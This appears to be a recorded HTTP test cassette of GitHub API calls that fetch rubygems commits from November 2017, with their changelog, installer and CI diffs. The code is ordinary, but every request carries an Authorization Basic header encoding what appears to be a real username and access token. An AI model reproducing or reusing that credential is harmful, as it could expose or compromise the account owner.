application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:58 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4481' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"26ac92ed035cfa7a93c24386d16d1759" Last-Modified: - Wed, 08 Nov 2017 03:10:42 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.049185' X-Github-Request-Id: - C53C:4D95:F47E97:1C837B9:5A50E46D body: encoding: ASCII-8BIT string: '{"sha":"f8dca8382cdc13b5fb4670f91d2ffc94e504fdf6","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-08T03:10:42Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-08T03:10:42Z"},"message":"Added History entries for 2.7.2","tree":{"sha":"6a3424a5ed28007d6de9062e687a0d45bf6f06c5","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/6a3424a5ed28007d6de9062e687a0d45bf6f06c5"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/f8dca8382cdc13b5fb4670f91d2ffc94e504fdf6","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAloCdbMACgkQ+c8TQXJk\n+sIKIwf8Dd+JScUiVZBltGn75jVxqRH5+Lops7Zzw1uh/PbMO3Tb9obka9KWYoj+\njTphBfyABMeP/DM/2lWtOWHemC9wS53rSpZ1E2Q0go4zT/U2bX7BFWzCf6DA6i0S\nZ+ebKq8127Pf0l4NL8g9t4tPlwrI9Z23zrmli/vLUXddY7luD+P4/cvtyjUhQQv4\nTGDcnJNNUsy5EDrc3gTtnQU32KBm3G9n6QeE9Tywt/E8p9H8ArN3Hq5ZZs4s54Cn\ndP5dwja1fZQyZVoXjLSwGNw+eUoSLoIG10t+gOKjK8CCaDQgjCwbaSeQKxeTYvft\nGcnlUCzyLnSHlJDsOTwPnwIHeNrYCg==\n=z1yk\n-----END PGP SIGNATURE-----","payload":"tree 6a3424a5ed28007d6de9062e687a0d45bf6f06c5\nparent 889e25128ea6dbe66d9280f342a6549ad029f2cd\nauthor SHIBATA Hiroshi 1510110642 +0900\ncommitter SHIBATA Hiroshi 1510110642 +0900\n\nAdded History entries for 2.7.2\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/f8dca8382cdc13b5fb4670f91d2ffc94e504fdf6","html_url":"https://github.com/rubygems/rubygems/commit/f8dca8382cdc13b5fb4670f91d2ffc94e504fdf6","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/f8dca8382cdc13b5fb4670f91d2ffc94e504fdf6/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"889e25128ea6dbe66d9280f342a6549ad029f2cd","url":"https://api.github.com/repos/rubygems/rubygems/commits/889e25128ea6dbe66d9280f342a6549ad029f2cd","html_url":"https://github.com/rubygems/rubygems/commit/889e25128ea6dbe66d9280f342a6549ad029f2cd"}],"stats":{"total":9,"additions":9,"deletions":0},"files":[{"sha":"cd48a96e56af02ad5f70f565ef12a8144a27024d","filename":"History.txt","status":"modified","additions":9,"deletions":0,"changes":9,"blob_url":"https://github.com/rubygems/rubygems/blob/f8dca8382cdc13b5fb4670f91d2ffc94e504fdf6/History.txt","raw_url":"https://github.com/rubygems/rubygems/raw/f8dca8382cdc13b5fb4670f91d2ffc94e504fdf6/History.txt","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/History.txt?ref=f8dca8382cdc13b5fb4670f91d2ffc94e504fdf6","patch":"@@ -1,5 +1,14 @@\n # coding: UTF-8\n \n+=== 2.7.2\n+\n+Bug fixes:\n+\n+* Added template files to vendoerd bundler. Pull request #2065 by SHIBATA\n+ Hiroshi.\n+* Added workaround for non-git environment. Pull request #2066 by SHIBATA\n+ Hiroshi.\n+\n === 2.7.1 (2017-11-03)\n \n Bug fixes:"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:58 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/889e25128ea6dbe66d9280f342a6549ad029f2cd body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:58 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4480' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"4467e71136bbb4f71217f39ce3906785" Last-Modified: - Tue, 07 Nov 2017 13:53:48 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.040966' X-Github-Request-Id: - A26E:4D96:971699:13A3855:5A50E46E body: encoding: ASCII-8BIT string: '{"sha":"889e25128ea6dbe66d9280f342a6549ad029f2cd","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-07T13:53:48Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-07T13:53:48Z"},"message":"Auto merge of #2066 - rubygems:workaround-git-ls-files, r=hsbt\n\nWorkaround for non-git environment.\n\nFixes #2064\n\nIgnored `git` command. It''s no effects for installation of vendored bundler.\n\nBecause we overwrite file list when invoking `update_rubygems`.","tree":{"sha":"9ad6e2387de9c59e37fd6588044098cfef6b5616","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/9ad6e2387de9c59e37fd6588044098cfef6b5616"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/889e25128ea6dbe66d9280f342a6549ad029f2cd","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/889e25128ea6dbe66d9280f342a6549ad029f2cd","html_url":"https://github.com/rubygems/rubygems/commit/889e25128ea6dbe66d9280f342a6549ad029f2cd","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/889e25128ea6dbe66d9280f342a6549ad029f2cd/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"8eb4c56d7577510eb3712e19d54373ea392aa64b","url":"https://api.github.com/repos/rubygems/rubygems/commits/8eb4c56d7577510eb3712e19d54373ea392aa64b","html_url":"https://github.com/rubygems/rubygems/commit/8eb4c56d7577510eb3712e19d54373ea392aa64b"},{"sha":"4053fda6d552f6ce13e56d922aeda3876d23f1fe","url":"https://api.github.com/repos/rubygems/rubygems/commits/4053fda6d552f6ce13e56d922aeda3876d23f1fe","html_url":"https://github.com/rubygems/rubygems/commit/4053fda6d552f6ce13e56d922aeda3876d23f1fe"}],"stats":{"total":4,"additions":4,"deletions":0},"files":[{"sha":"fb876d923d8543dc7f61c28a5788bd04bdf55390","filename":"lib/rubygems/commands/setup_command.rb","status":"modified","additions":4,"deletions":0,"changes":4,"blob_url":"https://github.com/rubygems/rubygems/blob/889e25128ea6dbe66d9280f342a6549ad029f2cd/lib/rubygems/commands/setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/889e25128ea6dbe66d9280f342a6549ad029f2cd/lib/rubygems/commands/setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/setup_command.rb?ref=889e25128ea6dbe66d9280f342a6549ad029f2cd","patch":"@@ -356,6 +356,10 @@ def install_default_bundler_gem\n \n mkdir_p Gem::Specification.default_specifications_dir\n \n+ # Workaround for non-git environment.\n+ gemspec = File.read(''bundler/bundler.gemspec'').gsub(/`git ls-files -z`/, \"''''\")\n+ File.open(''bundler/bundler.gemspec'', ''w''){|f| f.write gemspec }\n+\n bundler_spec = Gem::Specification.load(\"bundler/bundler.gemspec\")\n bundler_spec.files = Dir.chdir(\"bundler\") { Dir[\"{*.md,{lib,exe,man}/**/*}\"] }\n bundler_spec.executables -= %w[bundler bundle_ruby]"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:58 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/8eb4c56d7577510eb3712e19d54373ea392aa64b body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:58 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4479' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"ea8796c0c1cd844a3b3797d2cc961c73" Last-Modified: - Tue, 07 Nov 2017 13:12:03 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.047883' X-Github-Request-Id: - C540:4D96:9716A0:13A3868:5A50E46E body: encoding: ASCII-8BIT string: '{"sha":"8eb4c56d7577510eb3712e19d54373ea392aa64b","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-07T13:12:03Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-07T13:12:03Z"},"message":"Auto merge of #2065 - rubygems:add-bundler-template, r=indirect\n\nAdded template files to vendoerd bundler.\n\nFixes #2062\n\n# Description:\n\nCurrent installer ignored *.tt or non-extension files. I added `bundler/templates/**/*` files when installing vendoered bundler.","tree":{"sha":"50619698663f8eb04c38980a21dc82cc921c5484","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/50619698663f8eb04c38980a21dc82cc921c5484"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/8eb4c56d7577510eb3712e19d54373ea392aa64b","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/8eb4c56d7577510eb3712e19d54373ea392aa64b","html_url":"https://github.com/rubygems/rubygems/commit/8eb4c56d7577510eb3712e19d54373ea392aa64b","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/8eb4c56d7577510eb3712e19d54373ea392aa64b/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"f415530cf5d6f9ecf438f13a3e596debc470d9b2","url":"https://api.github.com/repos/rubygems/rubygems/commits/f415530cf5d6f9ecf438f13a3e596debc470d9b2","html_url":"https://github.com/rubygems/rubygems/commit/f415530cf5d6f9ecf438f13a3e596debc470d9b2"},{"sha":"ac444871c3382da07120ba311013c1d8cc37bceb","url":"https://api.github.com/repos/rubygems/rubygems/commits/ac444871c3382da07120ba311013c1d8cc37bceb","html_url":"https://github.com/rubygems/rubygems/commit/ac444871c3382da07120ba311013c1d8cc37bceb"}],"stats":{"total":10,"additions":10,"deletions":0},"files":[{"sha":"5c23c4674d120dd1bc25d9c36941d8909530960e","filename":"lib/rubygems/commands/setup_command.rb","status":"modified","additions":10,"deletions":0,"changes":10,"blob_url":"https://github.com/rubygems/rubygems/blob/8eb4c56d7577510eb3712e19d54373ea392aa64b/lib/rubygems/commands/setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/8eb4c56d7577510eb3712e19d54373ea392aa64b/lib/rubygems/commands/setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/setup_command.rb?ref=8eb4c56d7577510eb3712e19d54373ea392aa64b","patch":"@@ -294,6 +294,8 @@ def install_lib(lib_dir)\n say \"Installing #{tool}\" if @verbose\n \n lib_files = rb_files_in path\n+ lib_files.concat(template_files) if tool == ''Bundler''\n+\n pem_files = pem_files_in path\n \n Dir.chdir path do\n@@ -433,6 +435,12 @@ def rb_files_in dir\n end\n end\n \n+ def template_files\n+ Dir.chdir \"bundler/lib\" do\n+ Dir[File.join(''bundler'', ''templates'', ''**'', ''*'')].select{|f| !File.directory?(f)}\n+ end\n+ end\n+\n def remove_old_bin_files(bin_dir)\n old_bin_files = {\n ''gem_mirror'' => ''gem mirror'',\n@@ -470,8 +478,10 @@ def remove_old_lib_files lib_dir\n lib_dirs[File.join(lib_dir, ''bundler'')] = ''bundler/lib/bundler'' if Gem::USE_BUNDLER_FOR_GEMDEPS\n lib_dirs.each do |old_lib_dir, new_lib_dir|\n lib_files = rb_files_in(new_lib_dir)\n+ lib_files.concat(template_files) if new_lib_dir =~ /bundler/\n \n old_lib_files = rb_files_in(old_lib_dir)\n+ old_lib_files.concat(template_files) if old_lib_dir =~ /bundler/\n \n to_remove = old_lib_files - lib_files\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:58 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/f415530cf5d6f9ecf438f13a3e596debc470d9b2 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:58 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4478' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"318149397e08a43e906f9a7eac6704ab" Last-Modified: - Tue, 07 Nov 2017 12:39:46 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.037900' X-Github-Request-Id: - C542:4D95:F47EBD:1C837FD:5A50E46E body: encoding: ASCII-8BIT string: '{"sha":"f415530cf5d6f9ecf438f13a3e596debc470d9b2","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-07T12:39:46Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-07T12:39:46Z"},"message":"Auto merge of #2069 - rubygems:ignore-failing-matrix, r=hsbt\n\nIgnored failing matrix with bundler tests\n\nTemporary ignored for releasing RG 2.7.2.","tree":{"sha":"e1225f717b9adcb7a2a9d0f1929d291489a2f36d","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/e1225f717b9adcb7a2a9d0f1929d291489a2f36d"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/f415530cf5d6f9ecf438f13a3e596debc470d9b2","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/f415530cf5d6f9ecf438f13a3e596debc470d9b2","html_url":"https://github.com/rubygems/rubygems/commit/f415530cf5d6f9ecf438f13a3e596debc470d9b2","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/f415530cf5d6f9ecf438f13a3e596debc470d9b2/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"b774cb43b0edcd0dd181f6aa10fa7f28bf14848d","url":"https://api.github.com/repos/rubygems/rubygems/commits/b774cb43b0edcd0dd181f6aa10fa7f28bf14848d","html_url":"https://github.com/rubygems/rubygems/commit/b774cb43b0edcd0dd181f6aa10fa7f28bf14848d"},{"sha":"0a49b6d365e1affd3849ad491e10789e829ff4df","url":"https://api.github.com/repos/rubygems/rubygems/commits/0a49b6d365e1affd3849ad491e10789e829ff4df","html_url":"https://github.com/rubygems/rubygems/commit/0a49b6d365e1affd3849ad491e10789e829ff4df"}],"stats":{"total":9,"additions":8,"deletions":1},"files":[{"sha":"706459b379ae72aa9670e15451391fb473d357b1","filename":".travis.yml","status":"modified","additions":8,"deletions":1,"changes":9,"blob_url":"https://github.com/rubygems/rubygems/blob/f415530cf5d6f9ecf438f13a3e596debc470d9b2/.travis.yml","raw_url":"https://github.com/rubygems/rubygems/raw/f415530cf5d6f9ecf438f13a3e596debc470d9b2/.travis.yml","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/.travis.yml?ref=f415530cf5d6f9ecf438f13a3e596debc470d9b2","patch":"@@ -47,5 +47,12 @@ matrix:\n - rvm: ruby-head\n env: \"TEST_TOOL=rubygems YAML=syck\"\n allow_failures:\n+ - rvm: 1.8.7\n+ env: \"TEST_TOOL=bundler RGV=master\"\n+ - rvm: 1.9.3\n+ env: \"TEST_TOOL=bundler RGV=master\"\n+ - rvm: 2.0.0\n+ env: \"TEST_TOOL=bundler RGV=master\"\n+ - rvm: 2.1.10\n+ env: \"TEST_TOOL=bundler RGV=master\"\n - rvm: ruby-head\n-"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:58 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/0a49b6d365e1affd3849ad491e10789e829ff4df body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:58 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4477' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"b0c010de5e9827d77ca0397fd1d3a096" Last-Modified: - Tue, 07 Nov 2017 11:20:13 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.046617' X-Github-Request-Id: - C544:4D95:F47ECD:1C83814:5A50E46E body: encoding: ASCII-8BIT string: '{"sha":"0a49b6d365e1affd3849ad491e10789e829ff4df","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-07T11:20:13Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-07T11:20:13Z"},"message":"Ignored failing matrix with bundler tests","tree":{"sha":"e1225f717b9adcb7a2a9d0f1929d291489a2f36d","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/e1225f717b9adcb7a2a9d0f1929d291489a2f36d"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/0a49b6d365e1affd3849ad491e10789e829ff4df","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAloBlu0ACgkQ+c8TQXJk\n+sIhWQf8Cyk10hi4yc9+e9xKnN4GCfaLUr/ZaNM1mBxy5HibFBwCY4CZkJ7MtXOG\n8l/7GJVUEL3ogYAg9ZfxWAyFb7vkPq0tIEwk8iY0JF2OHj4QtEwOJrfErfF++j/4\nuZzoP7Yt8aKzq8o0iRH3uhEfn5ICADkEYZ5Qy5NWFz23rKcj9O99d+9BLIuJiCut\nincaI8Y0BCnmaYRshpfEj1nOF45cTUH3Mc/RlWKFacpzcr4u2t/nMTUnMHm9TpLH\nYzw13ySd6vGBaKfVBCOwbPlN20lk7yw7UsNspKICqQlx/1tM2PxQG7MG7f2LEZl5\nsqFZQJ4ROLkISJ4KfmOIpQHHNW+6Ag==\n=OqVe\n-----END PGP SIGNATURE-----","payload":"tree e1225f717b9adcb7a2a9d0f1929d291489a2f36d\nparent b774cb43b0edcd0dd181f6aa10fa7f28bf14848d\nauthor SHIBATA Hiroshi 1510053613 +0900\ncommitter SHIBATA Hiroshi 1510053613 +0900\n\nIgnored failing matrix with bundler 